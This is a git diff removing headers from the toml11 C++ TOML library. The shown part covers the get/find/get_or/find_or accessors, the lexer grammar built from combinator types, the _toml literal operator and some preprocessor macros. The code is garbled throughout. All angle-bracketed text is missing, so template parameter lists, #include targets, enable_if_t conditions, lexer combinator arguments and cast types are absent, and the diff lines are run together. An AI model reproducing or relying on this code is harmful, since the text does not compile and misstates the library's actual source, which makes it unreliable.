if(ar.size() != container.size()) - { - throw std::out_of_range(detail::format_underline(concat_to_string( - "toml::get: specified container size is ", container.size(), - " but there are ", ar.size(), " elements in toml array."), { - {v.location(), "here"} - })); - } - for(std::size_t i=0; i(ar[i]); - } - return container; -} - -// ============================================================================ -// std::pair. - -template class M, template class V> -detail::enable_if_t::value, T> -get(const basic_value& v) -{ - using first_type = typename T::first_type; - using second_type = typename T::second_type; - - const auto& ar = v.as_array(); - if(ar.size() != 2) - { - throw std::out_of_range(detail::format_underline(concat_to_string( - "toml::get: specified std::pair but there are ", ar.size(), - " elements in toml array."), {{v.location(), "here"}})); - } - return std::make_pair(::toml::get(ar.at(0)), - ::toml::get(ar.at(1))); -} - -// ============================================================================ -// std::tuple. - -namespace detail -{ -template -T get_tuple_impl(const Array& a, index_sequence) -{ - return std::make_tuple( - ::toml::get::type>(a.at(I))...); -} -} // detail - -template class M, template class V> -detail::enable_if_t::value, T> -get(const basic_value& v) -{ - const auto& ar = v.as_array(); - if(ar.size() != std::tuple_size::value) - { - throw std::out_of_range(detail::format_underline(concat_to_string( - "toml::get: specified std::tuple with ", - std::tuple_size::value, " elements, but there are ", ar.size(), - " elements in toml array."), {{v.location(), "here"}})); - } - return detail::get_tuple_impl(ar, - detail::make_index_sequence::value>{}); -} - -// ============================================================================ -// map-like types; most likely STL map, like std::map or std::unordered_map. - -template class M, template class V> -detail::enable_if_t, // T is map - detail::negation< // but not toml::array - detail::is_exact_toml_type>> - >::value, T> -get(const basic_value& v) -{ - using key_type = typename T::key_type; - using mapped_type = typename T::mapped_type; - static_assert(std::is_convertible::value, - "toml::get only supports map type of which key_type is " - "convertible from std::string."); - T map; - for(const auto& kv : v.as_table()) - { - map.emplace(key_type(kv.first), get(kv.second)); - } - return map; -} - -// ============================================================================ -// user-defined, but compatible types. - -template class M, template class V> -detail::enable_if_t>>, - detail::has_from_toml_method, // but has from_toml(toml::value) memfn - std::is_default_constructible // and default constructible - >::value, T> -get(const basic_value& v) -{ - T ud; - ud.from_toml(v); - return ud; -} -template class M, template class V> -detail::enable_if_t::value, T> -get(const basic_value& v) -{ - return ::toml::from::from_toml(v); -} - -template class M, template class V> -detail::enable_if_t>, // T is not a toml::value - std::is_constructible&>, // T is constructible from toml::value - detail::negation>, // and T does not have T.from_toml(v); - detail::negation> // and T does not have toml::from{}; - >::value, T> -get(const basic_value& v) -{ - return T(v); -} - -// ============================================================================ -// find - -// ---------------------------------------------------------------------------- -// these overloads do not require to set T. and returns value itself. -template class M, template class V> -basic_value const& find(const basic_value& v, const key& ky) -{ - const auto& tab = v.as_table(); - if(tab.count(ky) == 0) - { - detail::throw_key_not_found_error(v, ky); - } - return tab.at(ky); -} -template class M, template class V> -basic_value& find(basic_value& v, const key& ky) -{ - auto& tab = v.as_table(); - if(tab.count(ky) == 0) - { - detail::throw_key_not_found_error(v, ky); - } - return tab.at(ky); -} -template class M, template class V> -basic_value find(basic_value&& v, const key& ky) -{ - typename basic_value::table_type tab = std::move(v).as_table(); - if(tab.count(ky) == 0) - { - detail::throw_key_not_found_error(v, ky); - } - return basic_value(std::move(tab.at(ky))); -} - -// ---------------------------------------------------------------------------- -// find(value, idx) -template class M, template class V> -basic_value const& -find(const basic_value& v, const std::size_t idx) -{ - const auto& ary = v.as_array(); - if(ary.size() <= idx) - { - throw std::out_of_range(detail::format_underline(concat_to_string( - "index ", idx, " is out of range"), {{v.location(), "in this array"}})); - } - return ary.at(idx); -} -template class M, template class V> -basic_value& find(basic_value& v, const std::size_t idx) -{ - auto& ary = v.as_array(); - if(ary.size() <= idx) - { - throw std::out_of_range(detail::format_underline(concat_to_string( - "index ", idx, " is out of range"), {{v.location(), "in this array"}})); - } - return ary.at(idx); -} -template class M, template class V> -basic_value find(basic_value&& v, const std::size_t idx) -{ - auto& ary = v.as_array(); - if(ary.size() <= idx) - { - throw std::out_of_range(detail::format_underline(concat_to_string( - "index ", idx, " is out of range"), {{v.location(), "in this array"}})); - } - return basic_value(std::move(ary.at(idx))); -} - -// ---------------------------------------------------------------------------- -// find(value, key); - -template class M, template class V> -decltype(::toml::get(std::declval const&>())) -find(const basic_value& v, const key& ky) -{ - const auto& tab = v.as_table(); - if(tab.count(ky) == 0) - { - detail::throw_key_not_found_error(v, ky); - } - return ::toml::get(tab.at(ky)); -} - -template class M, template class V> -decltype(::toml::get(std::declval&>())) -find(basic_value& v, const key& ky) -{ - auto& tab = v.as_table(); - if(tab.count(ky) == 0) - { - detail::throw_key_not_found_error(v, ky); - } - return ::toml::get(tab.at(ky)); -} - -template class M, template class V> -decltype(::toml::get(std::declval&&>())) -find(basic_value&& v, const key& ky) -{ - typename basic_value::table_type tab = std::move(v).as_table(); - if(tab.count(ky) == 0) - { - detail::throw_key_not_found_error(v, ky); - } - return ::toml::get(std::move(tab.at(ky))); -} - -// ---------------------------------------------------------------------------- -// find(value, idx) -template class M, template class V> -decltype(::toml::get(std::declval const&>())) -find(const basic_value& v, const std::size_t idx) -{ - const auto& ary = v.as_array(); - if(ary.size() <= idx) - { - throw std::out_of_range(detail::format_underline(concat_to_string( - "index ", idx, " is out of range"), {{v.location(), "in this array"}})); - } - return ::toml::get(ary.at(idx)); -} -template class M, template class V> -decltype(::toml::get(std::declval&>())) -find(basic_value& v, const std::size_t idx) -{ - auto& ary = v.as_array(); - if(ary.size() <= idx) - { - throw std::out_of_range(detail::format_underline(concat_to_string( - "index ", idx, " is out of range"), {{v.location(), "in this array"}})); - } - return ::toml::get(ary.at(idx)); -} -template class M, template class V> -decltype(::toml::get(std::declval&&>())) -find(basic_value&& v, const std::size_t idx) -{ - typename basic_value::array_type ary = std::move(v).as_array(); - if(ary.size() <= idx) - { - throw std::out_of_range(detail::format_underline(concat_to_string( - "index ", idx, " is out of range"), {{v.location(), "in this array"}})); - } - return ::toml::get(std::move(ary.at(idx))); -} - -// -------------------------------------------------------------------------- -// toml::find(toml::value, toml::key, Ts&& ... keys) - -namespace detail -{ -// It suppresses warnings by -Wsign-conversion. Let's say we have the following -// code. -// ```cpp -// const auto x = toml::find(data, "array", 0); -// ``` -// Here, the type of literal number `0` is `int`. `int` is a signed integer. -// `toml::find` takes `std::size_t` as an index. So it causes implicit sign -// conversion and `-Wsign-conversion` warns about it. Using `0u` instead of `0` -// suppresses the warning, but it makes user code messy. -// To suppress this warning, we need to be aware of type conversion caused -// by `toml::find(v, key1, key2, ... keys)`. But the thing is that the types of -// keys can be any combination of {string-like, size_t-like}. Of course we can't -// write down all the combinations. Thus we need to use some function that -// recognize the type of argument and cast it into `std::string` or -// `std::size_t` depending on the context. -// `key_cast` does the job. It has 2 overloads. One is invoked when the -// argument type is an integer and cast the argument into `std::size_t`. The -// other is invoked when the argument type is not an integer, possibly one of -// std::string, const char[N] or const char*, and construct std::string from -// the argument. -// `toml::find(v, k1, k2, ... ks)` uses `key_cast` before passing `ks` to -// `toml::find(v, k)` to suppress -Wsign-conversion. - -template -enable_if_t>, - negation, bool>>>::value, std::size_t> -key_cast(T&& v) noexcept -{ - return std::size_t(v); -} -template -enable_if_t>, - negation, bool>>>>::value, std::string> -key_cast(T&& v) noexcept -{ - return std::string(std::forward(v)); -} -} // detail - -template class M, template class V, - typename Key1, typename Key2, typename ... Keys> -const basic_value& -find(const basic_value& v, Key1&& k1, Key2&& k2, Keys&& ... keys) -{ - return ::toml::find(::toml::find(v, detail::key_cast(k1)), - detail::key_cast(k2), std::forward(keys)...); -} -template class M, template class V, - typename Key1, typename Key2, typename ... Keys> -basic_value& -find(basic_value& v, Key1&& k1, Key2&& k2, Keys&& ... keys) -{ - return ::toml::find(::toml::find(v, detail::key_cast(k1)), - detail::key_cast(k2), std::forward(keys)...); -} -template class M, template class V, - typename Key1, typename Key2, typename ... Keys> -basic_value -find(basic_value&& v, Key1&& k1, Key2&& k2, Keys&& ... keys) -{ - return ::toml::find(::toml::find(std::move(v), std::forward(k1)), - detail::key_cast(k2), std::forward(keys)...); -} - -template class M, template class V, - typename Key1, typename Key2, typename ... Keys> -decltype(::toml::get(std::declval&>())) -find(const basic_value& v, Key1&& k1, Key2&& k2, Keys&& ... keys) -{ - return ::toml::find(::toml::find(v, detail::key_cast(k1)), - detail::key_cast(k2), std::forward(keys)...); -} -template class M, template class V, - typename Key1, typename Key2, typename ... Keys> -decltype(::toml::get(std::declval&>())) -find(basic_value& v, Key1&& k1, Key2&& k2, Keys&& ... keys) -{ - return ::toml::find(::toml::find(v, detail::key_cast(k1)), - detail::key_cast(k2), std::forward(keys)...); -} -template class M, template class V, - typename Key1, typename Key2, typename ... Keys> -decltype(::toml::get(std::declval&&>())) -find(basic_value&& v, Key1&& k1, Key2&& k2, Keys&& ... keys) -{ - return ::toml::find(::toml::find(std::move(v), detail::key_cast(k1)), - detail::key_cast(k2), std::forward(keys)...); -} - -// ============================================================================ -// get_or(value, fallback) - -template class M, template class V> -basic_value const& -get_or(const basic_value& v, const basic_value&) -{ - return v; -} -template class M, template class V> -basic_value& -get_or(basic_value& v, basic_value&) -{ - return v; -} -template class M, template class V> -basic_value -get_or(basic_value&& v, basic_value&&) -{ - return v; -} - -// ---------------------------------------------------------------------------- -// specialization for the exact toml types (return type becomes lvalue ref) - -template class M, template class V> -detail::enable_if_t< - detail::is_exact_toml_type>::value, T> const& -get_or(const basic_value& v, const T& opt) -{ - try - { - return get>(v); - } - catch(...) - { - return opt; - } -} -template class M, template class V> -detail::enable_if_t< - detail::is_exact_toml_type>::value, T>& -get_or(basic_value& v, T& opt) -{ - try - { - return get>(v); - } - catch(...) - { - return opt; - } -} -template class M, template class V> -detail::enable_if_t, - basic_value>::value, detail::remove_cvref_t> -get_or(basic_value&& v, T&& opt) -{ - try - { - return get>(std::move(v)); - } - catch(...) - { - return detail::remove_cvref_t(std::forward(opt)); - } -} - -// ---------------------------------------------------------------------------- -// specialization for std::string (return type becomes lvalue ref) - -template class M, template class V> -detail::enable_if_t, std::string>::value, - std::string> const& -get_or(const basic_value& v, const T& opt) -{ - try - { - return v.as_string().str; - } - catch(...) - { - return opt; - } -} -template class M, template class V> -detail::enable_if_t::value, std::string>& -get_or(basic_value& v, T& opt) -{ - try - { - return v.as_string().str; - } - catch(...) - { - return opt; - } -} -template class M, template class V> -detail::enable_if_t< - std::is_same, std::string>::value, std::string> -get_or(basic_value&& v, T&& opt) -{ - try - { - return std::move(v.as_string().str); - } - catch(...) - { - return std::string(std::forward(opt)); - } -} - -// ---------------------------------------------------------------------------- -// specialization for string literal - -template class M, template class V> -detail::enable_if_t::type>::value, std::string> -get_or(const basic_value& v, T&& opt) -{ - try - { - return std::move(v.as_string().str); - } - catch(...) - { - return std::string(std::forward(opt)); - } -} - -// ---------------------------------------------------------------------------- -// others (require type conversion and return type cannot be lvalue reference) - -template class M, template class V> -detail::enable_if_t, - basic_value>>, - detail::negation>>, - detail::negation::type>> - >::value, detail::remove_cvref_t> -get_or(const basic_value& v, T&& opt) -{ - try - { - return get>(v); - } - catch(...) - { - return detail::remove_cvref_t(std::forward(opt)); - } -} - -// =========================================================================== -// find_or(value, key, fallback) - -template class M, template class V> -basic_value const& -find_or(const basic_value& v, const key& ky, - const basic_value& opt) -{ - if(!v.is_table()) {return opt;} - const auto& tab = v.as_table(); - if(tab.count(ky) == 0) {return opt;} - return tab.at(ky); -} - -template class M, template class V> -basic_value& -find_or(basic_value& v, const toml::key& ky, basic_value& opt) -{ - if(!v.is_table()) {return opt;} - auto& tab = v.as_table(); - if(tab.count(ky) == 0) {return opt;} - return tab.at(ky); -} - -template class M, template class V> -basic_value -find_or(basic_value&& v, const toml::key& ky, basic_value&& opt) -{ - if(!v.is_table()) {return opt;} - auto tab = std::move(v).as_table(); - if(tab.count(ky) == 0) {return opt;} - return basic_value(std::move(tab.at(ky))); -} - -// --------------------------------------------------------------------------- -// exact types (return type can be a reference) -template class M, template class V> -detail::enable_if_t< - detail::is_exact_toml_type>::value, T> const& -find_or(const basic_value& v, const key& ky, const T& opt) -{ - if(!v.is_table()) {return opt;} - const auto& tab = v.as_table(); - if(tab.count(ky) == 0) {return opt;} - return get_or(tab.at(ky), opt); -} - -template class M, template class V> -detail::enable_if_t< - detail::is_exact_toml_type>::value, T>& -find_or(basic_value& v, const toml::key& ky, T& opt) -{ - if(!v.is_table()) {return opt;} - auto& tab = v.as_table(); - if(tab.count(ky) == 0) {return opt;} - return get_or(tab.at(ky), opt); -} - -template class M, template class V> -detail::enable_if_t< - detail::is_exact_toml_type>::value, - detail::remove_cvref_t> -find_or(basic_value&& v, const toml::key& ky, T&& opt) -{ - if(!v.is_table()) {return std::forward(opt);} - auto tab = std::move(v).as_table(); - if(tab.count(ky) == 0) {return std::forward(opt);} - return get_or(std::move(tab.at(ky)), std::forward(opt)); -} - -// --------------------------------------------------------------------------- -// std::string (return type can be a reference) - -template class M, template class V> -detail::enable_if_t::value, std::string> const& -find_or(const basic_value& v, const key& ky, const T& opt) -{ - if(!v.is_table()) {return opt;} - const auto& tab = v.as_table(); - if(tab.count(ky) == 0) {return opt;} - return get_or(tab.at(ky), opt); -} -template class M, template class V> -detail::enable_if_t::value, std::string>& -find_or(basic_value& v, const toml::key& ky, T& opt) -{ - if(!v.is_table()) {return opt;} - auto& tab = v.as_table(); - if(tab.count(ky) == 0) {return opt;} - return get_or(tab.at(ky), opt); -} -template class M, template class V> -detail::enable_if_t::value, std::string> -find_or(basic_value&& v, const toml::key& ky, T&& opt) -{ - if(!v.is_table()) {return std::forward(opt);} - auto tab = std::move(v).as_table(); - if(tab.count(ky) == 0) {return std::forward(opt);} - return get_or(std::move(tab.at(ky)), std::forward(opt)); -} - -// --------------------------------------------------------------------------- -// string literal (deduced as std::string) -template class M, template class V> -detail::enable_if_t< - detail::is_string_literal::type>::value, - std::string> -find_or(const basic_value& v, const toml::key& ky, T&& opt) -{ - if(!v.is_table()) {return std::string(opt);} - const auto& tab = v.as_table(); - if(tab.count(ky) == 0) {return std::string(opt);} - return get_or(tab.at(ky), std::forward(opt)); -} - -// --------------------------------------------------------------------------- -// others (require type conversion and return type cannot be lvalue reference) -template class M, template class V> -detail::enable_if_t, basic_value>>, - // T is not std::string - detail::negation>>, - // T is not a string literal - detail::negation::type>> - >::value, detail::remove_cvref_t> -find_or(const basic_value& v, const toml::key& ky, T&& opt) -{ - if(!v.is_table()) {return std::forward(opt);} - const auto& tab = v.as_table(); - if(tab.count(ky) == 0) {return std::forward(opt);} - return get_or(tab.at(ky), std::forward(opt)); -} - -// --------------------------------------------------------------------------- -// recursive find-or with type deduction (find_or(value, keys, opt)) - -template 1), std::nullptr_t> = nullptr> - // here we need to add SFINAE in the template parameter to avoid - // infinite recursion in type deduction on gcc -auto find_or(Value&& v, const toml::key& ky, Ks&& ... keys) - -> decltype(find_or(std::forward(v), ky, detail::last_one(std::forward(keys)...))) -{ - if(!v.is_table()) - { - return detail::last_one(std::forward(keys)...); - } - auto&& tab = std::forward(v).as_table(); - if(tab.count(ky) == 0) - { - return detail::last_one(std::forward(keys)...); - } - return find_or(std::forward(tab).at(ky), std::forward(keys)...); -} - -// --------------------------------------------------------------------------- -// recursive find_or with explicit type specialization, find_or(value, keys...) - -template 1), std::nullptr_t> = nullptr> - // here we need to add SFINAE in the template parameter to avoid - // infinite recursion in type deduction on gcc -auto find_or(Value&& v, const toml::key& ky, Ks&& ... keys) - -> decltype(find_or(std::forward(v), ky, detail::last_one(std::forward(keys)...))) -{ - if(!v.is_table()) - { - return detail::last_one(std::forward(keys)...); - } - auto&& tab = std::forward(v).as_table(); - if(tab.count(ky) == 0) - { - return detail::last_one(std::forward(keys)...); - } - return find_or(std::forward(tab).at(ky), std::forward(keys)...); -} - -// ============================================================================ -// expect - -template class M, template class V> -result expect(const basic_value& v) noexcept -{ - try - { - return ok(get(v)); - } - catch(const std::exception& e) - { - return err(e.what()); - } -} -template class M, template class V> -result -expect(const basic_value& v, const toml::key& k) noexcept -{ - try - { - return ok(find(v, k)); - } - catch(const std::exception& e) - { - return err(e.what()); - } -} - -} // toml -#endif// TOML11_GET diff --git a/src/toml11/toml/into.hpp b/src/toml11/toml/into.hpp deleted file mode 100644 index 74495560e..000000000 --- a/src/toml11/toml/into.hpp +++ /dev/null @@ -1,19 +0,0 @@ -// Copyright Toru Niina 2019. -// Distributed under the MIT License. -#ifndef TOML11_INTO_HPP -#define TOML11_INTO_HPP - -namespace toml -{ - -template -struct into; -// { -// static toml::value into_toml(const T& user_defined_type) -// { -// // User-defined conversions ... -// } -// }; - -} // toml -#endif // TOML11_INTO_HPP diff --git a/src/toml11/toml/lexer.hpp b/src/toml11/toml/lexer.hpp deleted file mode 100644 index ea5050b8d..000000000 --- a/src/toml11/toml/lexer.hpp +++ /dev/null @@ -1,293 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_LEXER_HPP -#define TOML11_LEXER_HPP -#include -#include -#include -#include - -#include "combinator.hpp" - -namespace toml -{ -namespace detail -{ - -// these scans contents from current location in a container of char -// and extract a region that matches their own pattern. -// to see the implementation of each component, see combinator.hpp. - -using lex_wschar = either, character<'\t'>>; -using lex_ws = repeat>; -using lex_newline = either, - sequence, character<'\n'>>>; -using lex_lower = in_range<'a', 'z'>; -using lex_upper = in_range<'A', 'Z'>; -using lex_alpha = either; -using lex_digit = in_range<'0', '9'>; -using lex_nonzero = in_range<'1', '9'>; -using lex_oct_dig = in_range<'0', '7'>; -using lex_bin_dig = in_range<'0', '1'>; -using lex_hex_dig = either, in_range<'a', 'f'>>; - -using lex_hex_prefix = sequence, character<'x'>>; -using lex_oct_prefix = sequence, character<'o'>>; -using lex_bin_prefix = sequence, character<'b'>>; -using lex_underscore = character<'_'>; -using lex_plus = character<'+'>; -using lex_minus = character<'-'>; -using lex_sign = either; - -// digit | nonzero 1*(digit | _ digit) -using lex_unsigned_dec_int = either>, at_least<1>>>, - lex_digit>; -// (+|-)? unsigned_dec_int -using lex_dec_int = sequence, lex_unsigned_dec_int>; - -// hex_prefix hex_dig *(hex_dig | _ hex_dig) -using lex_hex_int = sequence>, unlimited>>>; -// oct_prefix oct_dig *(oct_dig | _ oct_dig) -using lex_oct_int = sequence>, unlimited>>>; -// bin_prefix bin_dig *(bin_dig | _ bin_dig) -using lex_bin_int = sequence>, unlimited>>>; - -// (dec_int | hex_int | oct_int | bin_int) -using lex_integer = either; - -// =========================================================================== - -using lex_inf = sequence, character<'n'>, character<'f'>>; -using lex_nan = sequence, character<'a'>, character<'n'>>; -using lex_special_float = sequence, either>; - -using lex_zero_prefixable_int = sequence>, unlimited>>; - -using lex_fractional_part = sequence, lex_zero_prefixable_int>; - -using lex_exponent_part = sequence, character<'E'>>, - maybe, lex_zero_prefixable_int>; - -using lex_float = either>>>>; - -// =========================================================================== - -using lex_true = sequence, character<'r'>, - character<'u'>, character<'e'>>; -using lex_false = sequence, character<'a'>, character<'l'>, - character<'s'>, character<'e'>>; -using lex_boolean = either; - -// =========================================================================== - -using lex_date_fullyear = repeat>; -using lex_date_month = repeat>; -using lex_date_mday = repeat>; -using lex_time_delim = either, character<'t'>, character<' '>>; -using lex_time_hour = repeat>; -using lex_time_minute = repeat>; -using lex_time_second = repeat>; -using lex_time_secfrac = sequence, - repeat>>; - -using lex_time_numoffset = sequence, character<'-'>>, - sequence, - lex_time_minute>>; -using lex_time_offset = either, character<'z'>, - lex_time_numoffset>; - -using lex_partial_time = sequence, - lex_time_minute, character<':'>, - lex_time_second, maybe>; -using lex_full_date = sequence, - lex_date_month, character<'-'>, - lex_date_mday>; -using lex_full_time = sequence; - -using lex_offset_date_time = sequence; -using lex_local_date_time = sequence; -using lex_local_date = lex_full_date; -using lex_local_time = lex_partial_time; - -// =========================================================================== - -using lex_quotation_mark = character<'"'>; -using lex_basic_unescaped = exclude, // 0x09 (tab) is allowed - in_range<0x0A, 0x1F>, - character<0x22>, character<0x5C>, - character<0x7F>>>; - -using lex_escape = character<'\\'>; -using lex_escape_unicode_short = sequence, - repeat>>; -using lex_escape_unicode_long = sequence, - repeat>>; -using lex_escape_seq_char = either, character<'\\'>, - character<'b'>, character<'f'>, - character<'n'>, character<'r'>, - character<'t'>, - lex_escape_unicode_short, - lex_escape_unicode_long - >; -using lex_escaped = sequence; -using lex_basic_char = either; -using lex_basic_string = sequence, - lex_quotation_mark>; - -// After toml post-v0.5.0, it is explicitly clarified how quotes in ml-strings -// are allowed to be used. -// After this, the following strings are *explicitly* allowed. -// - One or two `"`s in a multi-line basic string is allowed wherever it is. -// - Three consecutive `"`s in a multi-line basic string is considered as a delimiter. -// - One or two `"`s can appear just before or after the delimiter. -// ```toml -// str4 = """Here are two quotation marks: "". Simple enough.""" -// str5 = """Here are three quotation marks: ""\".""" -// str6 = """Here are fifteen quotation marks: ""\"""\"""\"""\"""\".""" -// str7 = """"This," she said, "is just a pointless statement."""" -// ``` -// In the current implementation (v3.3.0), it is difficult to parse `str7` in -// the above example. It is difficult to recognize `"` at the end of string body -// collectly. It will be misunderstood as a `"""` delimiter and an additional, -// invalid `"`. Like this: -// ```console -// what(): [error] toml::parse_table: invalid line format -// --> hoge.toml -// | -// 13 | str7 = """"This," she said, "is just a pointless statement."""" -// | ^- expected newline, but got '"'. -// ``` -// As a quick workaround for this problem, `lex_ml_basic_string_delim` was -// split into two, `lex_ml_basic_string_open` and `lex_ml_basic_string_close`. -// `lex_ml_basic_string_open` allows only `"""`. `_close` allows 3-5 `"`s. -// In parse_ml_basic_string() function, the trailing `"`s will be attached to -// the string body. -// -using lex_ml_basic_string_delim = repeat>; -using lex_ml_basic_string_open = lex_ml_basic_string_delim; -using lex_ml_basic_string_close = sequence< - repeat>, - maybe, maybe - >; - -using lex_ml_basic_unescaped = exclude, // 0x09 is tab - in_range<0x0A, 0x1F>, - character<0x5C>, // backslash - character<0x7F>, // DEL - lex_ml_basic_string_delim>>; - -using lex_ml_basic_escaped_newline = sequence< - lex_escape, maybe, lex_newline, - repeat, unlimited>>; - -using lex_ml_basic_char = either; -using lex_ml_basic_body = repeat, - unlimited>; -using lex_ml_basic_string = sequence; - -using lex_literal_char = exclude, in_range<0x0A, 0x1F>, - character<0x7F>, character<0x27>>>; -using lex_apostrophe = character<'\''>; -using lex_literal_string = sequence, - lex_apostrophe>; - -// the same reason as above. -using lex_ml_literal_string_delim = repeat>; -using lex_ml_literal_string_open = lex_ml_literal_string_delim; -using lex_ml_literal_string_close = sequence< - repeat>, - maybe, maybe - >; - -using lex_ml_literal_char = exclude, - in_range<0x0A, 0x1F>, - character<0x7F>, - lex_ml_literal_string_delim>>; -using lex_ml_literal_body = repeat, - unlimited>; -using lex_ml_literal_string = sequence; - -using lex_string = either; - -// =========================================================================== -using lex_dot_sep = sequence, character<'.'>, maybe>; - -using lex_unquoted_key = repeat, character<'_'>>, - at_least<1>>; -using lex_quoted_key = either; -using lex_simple_key = either; -using lex_dotted_key = sequence, - at_least<1> - > - >; -using lex_key = either; - -using lex_keyval_sep = sequence, - character<'='>, - maybe>; - -using lex_std_table_open = character<'['>; -using lex_std_table_close = character<']'>; -using lex_std_table = sequence, - lex_key, - maybe, - lex_std_table_close>; - -using lex_array_table_open = sequence; -using lex_array_table_close = sequence; -using lex_array_table = sequence, - lex_key, - maybe, - lex_array_table_close>; - -using lex_utf8_1byte = in_range<0x00, 0x7F>; -using lex_utf8_2byte = sequence< - in_range(0xC2), static_cast(0xDF)>, - in_range(0x80), static_cast(0xBF)> - >; -using lex_utf8_3byte = sequence(0xE0)>, in_range(0xA0), static_cast(0xBF)>>, - sequence(0xE1), static_cast(0xEC)>, in_range(0x80), static_cast(0xBF)>>, - sequence(0xED)>, in_range(0x80), static_cast(0x9F)>>, - sequence(0xEE), static_cast(0xEF)>, in_range(0x80), static_cast(0xBF)>> - >, in_range(0x80), static_cast(0xBF)>>; -using lex_utf8_4byte = sequence(0xF0)>, in_range(0x90), static_cast(0xBF)>>, - sequence(0xF1), static_cast(0xF3)>, in_range(0x80), static_cast(0xBF)>>, - sequence(0xF4)>, in_range(0x80), static_cast(0x8F)>> - >, in_range(0x80), static_cast(0xBF)>, - in_range(0x80), static_cast(0xBF)>>; -using lex_utf8_code = either< - lex_utf8_1byte, - lex_utf8_2byte, - lex_utf8_3byte, - lex_utf8_4byte - >; - -using lex_comment_start_symbol = character<'#'>; -using lex_non_eol_ascii = either, in_range<0x20, 0x7E>>; -using lex_comment = sequence, unlimited>>; - -} // detail -} // toml -#endif // TOML_LEXER_HPP diff --git a/src/toml11/toml/literal.hpp b/src/toml11/toml/literal.hpp deleted file mode 100644 index 04fbbc13e..000000000 --- a/src/toml11/toml/literal.hpp +++ /dev/null @@ -1,113 +0,0 @@ -// Copyright Toru Niina 2019. -// Distributed under the MIT License. -#ifndef TOML11_LITERAL_HPP -#define TOML11_LITERAL_HPP -#include "parser.hpp" - -namespace toml -{ -inline namespace literals -{ -inline namespace toml_literals -{ - -// implementation -inline ::toml::basic_value -literal_internal_impl(::toml::detail::location loc) -{ - using value_type = ::toml::basic_value< - TOML11_DEFAULT_COMMENT_STRATEGY, std::unordered_map, std::vector>; - // if there are some comments or empty lines, skip them. - using skip_line = ::toml::detail::repeat, - ::toml::detail::maybe<::toml::detail::lex_comment>, - ::toml::detail::lex_newline - >, ::toml::detail::at_least<1>>; - skip_line::invoke(loc); - - // if there are some whitespaces before a value, skip them. - using skip_ws = ::toml::detail::repeat< - ::toml::detail::lex_ws, ::toml::detail::at_least<1>>; - skip_ws::invoke(loc); - - // to distinguish arrays and tables, first check it is a table or not. - // - // "[1,2,3]"_toml; // this is an array - // "[table]"_toml; // a table that has an empty table named "table" inside. - // "[[1,2,3]]"_toml; // this is an array of arrays - // "[[table]]"_toml; // this is a table that has an array of tables inside. - // - // "[[1]]"_toml; // this can be both... (currently it becomes a table) - // "1 = [{}]"_toml; // this is a table that has an array of table named 1. - // "[[1,]]"_toml; // this is an array of arrays. - // "[[1],]"_toml; // this also. - - const auto the_front = loc.iter(); - - const bool is_table_key = ::toml::detail::lex_std_table::invoke(loc); - loc.reset(the_front); - - const bool is_aots_key = ::toml::detail::lex_array_table::invoke(loc); - loc.reset(the_front); - - // If it is neither a table-key or a array-of-table-key, it may be a value. - if(!is_table_key && !is_aots_key) - { - if(auto data = ::toml::detail::parse_value(loc)) - { - return data.unwrap(); - } - } - - // Note that still it can be a table, because the literal might be something - // like the following. - // ```cpp - // R"( // c++11 raw string literals - // key = "value" - // int = 42 - // )"_toml; - // ``` - // It is a valid toml file. - // It should be parsed as if we parse a file with this content. - - if(auto data = ::toml::detail::parse_toml_file(loc)) - { - return data.unwrap(); - } - else // none of them. - { - throw ::toml::syntax_error(data.unwrap_err(), source_location(loc)); - } - -} - -inline ::toml::basic_value -operator"" _toml(const char* str, std::size_t len) -{ - ::toml::detail::location loc( - std::string("TOML literal encoded in a C++ code"), - std::vector(str, str + len)); - // literal length does not include the null character at the end. - return literal_internal_impl(std::move(loc)); -} - -// value of __cplusplus in C++2a/20 mode is not fixed yet along compilers. -// So here we use the feature test macro for `char8_t` itself. -#if defined(__cpp_char8_t) && __cpp_char8_t >= 201811L -// value of u8"" literal has been changed from char to char8_t and char8_t is -// NOT compatible to char -inline ::toml::basic_value -operator"" _toml(const char8_t* str, std::size_t len) -{ - ::toml::detail::location loc( - std::string("TOML literal encoded in a C++ code"), - std::vector(reinterpret_cast(str), - reinterpret_cast(str) + len)); - return literal_internal_impl(std::move(loc)); -} -#endif - -} // toml_literals -} // literals -} // toml -#endif//TOML11_LITERAL_HPP diff --git a/src/toml11/toml/macros.hpp b/src/toml11/toml/macros.hpp deleted file mode 100644 index e8f91aecd..000000000 --- a/src/toml11/toml/macros.hpp +++ /dev/null @@ -1,121 +0,0 @@ -#ifndef TOML11_MACROS_HPP -#define TOML11_MACROS_HPP - -#define TOML11_STRINGIZE_AUX(x) #x -#define TOML11_STRINGIZE(x) TOML11_STRINGIZE_AUX(x) - -#define TOML11_CONCATENATE_AUX(x, y) x##y -#define TOML11_CONCATENATE(x, y) TOML11_CONCATENATE_AUX(x, y) - -// ============================================================================ -// TOML11_DEFINE_CONVERSION_NON_INTRUSIVE - -#ifndef TOML11_WITHOUT_DEFINE_NON_INTRUSIVE - -// ---------------------------------------------------------------------------- -// TOML11_ARGS_SIZE - -#define TOML11_INDEX_RSEQ() \ - 32, 31, 30, 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, 19, 18, 17, \ - 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 -#define TOML11_ARGS_SIZE_IMPL(\ - ARG1, ARG2, ARG3, ARG4, ARG5, ARG6, ARG7, ARG8, ARG9, ARG10, \ - ARG11, ARG12, ARG13, ARG14, ARG15, ARG16, ARG17, ARG18, ARG19, ARG20, \ - ARG21, ARG22, ARG23, ARG24, ARG25, ARG26, ARG27, ARG28, ARG29, ARG30, \ - ARG31, ARG32, N, ...) N -#define TOML11_ARGS_SIZE_AUX(...) TOML11_ARGS_SIZE_IMPL(__VA_ARGS__) -#define TOML11_ARGS_SIZE(...) TOML11_ARGS_SIZE_AUX(__VA_ARGS__, TOML11_INDEX_RSEQ()) - -// ---------------------------------------------------------------------------- -// TOML11_FOR_EACH_VA_ARGS - -#define TOML11_FOR_EACH_VA_ARGS_AUX_1( FUNCTOR, ARG1 ) FUNCTOR(ARG1) -#define TOML11_FOR_EACH_VA_ARGS_AUX_2( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_1( FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_3( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_2( FUNCTOR, __VA_ARGS__) 